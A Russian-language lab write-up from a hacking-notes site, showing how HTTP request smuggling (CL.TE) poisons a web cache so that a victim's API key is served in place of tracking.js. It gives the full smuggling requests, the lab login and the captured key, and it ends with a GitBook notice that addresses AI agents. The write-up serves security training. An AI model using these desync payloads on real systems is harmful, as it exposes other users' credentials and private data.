> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Обман веб-кэша через контрабанду HTTP-запросов

### Использование HTTP Request Smuggling для выполнения обмана веб-кэша

В этой лабораторной работе есть фронтенд-сервер и бэкенд-сервер. Фронтенд-сервер не поддерживает chunked encoding и кэширует некоторые статические ресурсы.

Цель — выполнить атаку request smuggling так, чтобы следующий запрос, отправленный жертвой, привёл к записи её API-ключа в кэш. Затем вам нужно извлечь этот API-ключ из кэша и отправить его для прохождения лабораторной работы. / Необходимо подождать **30 секунд** после открытия лабораторной работы, прежде чем пытаться поймать жертву.

Вы можете войти в свою учётную запись с помощью: **wiener:peter**

#### **Примечания**

* Хотя лабораторная работа поддерживает HTTP/2, решение основано на техниках, которые можно выполнить только в HTTP/1. Протокол можно изменить в Burp Repeater в разделе Request attributes панели Inspector.
* Лабораторная работа имитирует действия пользователя-жертвы. На все несколько POST-запросов, отправленных атакующим, жертва отправит свои собственные. Иногда необходимо повторить атаку, чтобы правильно синхронизировать последовательность.

#### **Анализ поведения**

В панели My account у вас есть свой API-ключ.

<figure><img src="/files/7c626c2641e6b079706192b10d194d28249f26ea" alt=""><figcaption></figcaption></figure>

Наблюдается, что `tracking.js` файл кэшируется на **30 секунд**.

<figure><img src="/files/d35fd8f0da8c67d57878d4ae70f465db14c21191" alt=""><figcaption></figcaption></figure>

#### **Начальный тест**

Отправляя следующий некорректный запрос:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Тест: A
```

Мы получаем ответ **404**, что подтверждает работоспособное поведение.

<figure><img src="/files/a508ec0e3f30fc776ba6b0914bd7622c6941d3f3" alt=""><figcaption></figcaption></figure>

#### **Request smuggling, нацеленный на /my-account**

Спрятанный запрос для `/my-account` затем подготавливается:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Тест: A
```

Когда жертва отправляет свой собственный запрос после нашей инъекции, ответ, содержащий \*\* его API-ключ\*\*, сохраняется в кэше вместо `tracking.js` файле.

#### **Результат**

Когда вы загрузите кэшированный ресурс, появится API-ключ администратора:

```
Ваш API-ключ: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/599d9a40ce16109a2fcd2f266e8af7e042b145e4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
